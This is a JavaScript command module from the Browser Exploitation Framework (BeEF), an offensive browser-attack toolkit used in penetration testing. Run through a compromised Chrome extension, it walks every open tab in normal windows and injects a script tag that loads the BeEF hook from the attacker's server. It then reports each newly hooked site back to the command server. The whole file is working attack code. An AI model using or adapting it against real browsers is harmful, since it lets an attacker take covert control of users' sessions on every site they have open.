command.js

//
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

        var beefHookUri = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook;

        chrome.windows.getAll({"populate" : true}, function(windows) {
			for(i in windows) {
				if(windows[i].type=="normal") {
					chrome.tabs.getAllInWindow(windows[i].id,function(tabs){
						for(t in tabs) {
                            //antisnatchor: if the extension has her own tabs open, we want to precent injecting the hook
                            //also there. Chrome extensions with tabs and http/s permissions cannot access URIs with protocol
                            // handlers chrome-extension://, and most of them will not have permissions to do so.
                            if(tabs[t].url.substring(0,16) != "chrome-extension"){
                                chrome.tabs.executeScript(tabs[t].id,{code:"newScript=document.createElement('script'); newScript.src='"
                                    + beefHookUri + "'; newScript.setAttribute('onload','beef_init()'); document.getElementsByTagName('head')[0].appendChild(newScript);"})

						        //send back the new domain that will be hooked :-)
                                beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Successfully injected BeEF hook on: ' + tabs[t].url);
                            }
						}
					})
				}
			}
		});
});